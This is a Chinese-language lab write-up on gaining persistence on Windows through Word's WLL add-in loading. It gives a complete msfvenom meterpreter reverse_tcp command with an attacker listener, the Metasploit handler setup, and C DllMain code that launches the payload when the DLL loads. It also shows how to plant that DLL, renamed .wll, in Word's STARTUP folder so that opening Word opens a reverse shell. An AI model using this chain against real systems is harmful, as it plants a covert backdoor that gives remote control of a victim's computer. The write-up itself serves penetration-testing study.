环境说明
| IP | HOSTNAME | NOTE |
|---|---|---|
| 172.16.106.67 | Kali Linux | 攻击者主机 |
| 10.10.10.88 | Windows 10 | 受害者主机 |
概述
什么是WLL文件?
- Microsoft Word(文字处理应用程序)使用的插件文件; 包含一个向程序添加新功能的软件组件; 多数由第三方软件开发人员开发和分发,用于将其他技术与Word集成。
如何利用Word的WLL插件?
- Word的三个受信任位置如下图所示,可以看出受信任位置有Template、有StartUp的。

- 其中受信任位置StartUp可以用来放置WLL后缀的Word插件,并且WLL后缀的Word插件本质上是DLL文件,只是使用了WLL后缀罢了。那么基于这两个特点,我们编写恶意的DLL,然后将后缀改为WLL,并放置于StartUp目录下,那么当Word应用程序启动的时候,就能执行任意代码了。
复现过程
MSF生成Payload
msfvenom ‐a x86 ‐‐platform windows ‐p windows/meterpreter/reverse_tcp LHOST=172.16.106.67 LPORT=2335 ‐f exe > attack_demo.exe

攻击机开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2335
exploit
/articles/li-yong-word-jia-zai-xiang-wll-shi-xian-windows-xi-tong-quan-xian-wei-ch-0cce76e0/test_146.png)
投递Payload
- 攻击机本地启动apache服务,将其放置于web目录下

- 受害者通过访问web目录下载Payload,并将其放置于如下目录

编写DLL文件加载Payload
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("start E:/payload/attack_demo.exe");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

WLL文件放置于StartUp目录并打开Word应用程序
- 前面提到了Word加载项".wll"后缀的文件,本质是放在word启动目录下的dll文件,每次word启动的时候都会加载以下目录中".wll"后缀的文件
$env:userprofile\Appdata\Roaming\Microsoft\Word\STARTUP
- 此时我们将编写的恶意dll后缀修改为wll放置于word启动目录

- 启动Word应用程序

- 如下图所示,攻击机MSF获取到一个Session

参考链接
1.https://cloud.tencent.com/developer/article/1819454
2.https://pentestlab.blog/2019/12/11/persistence-office-application-startup/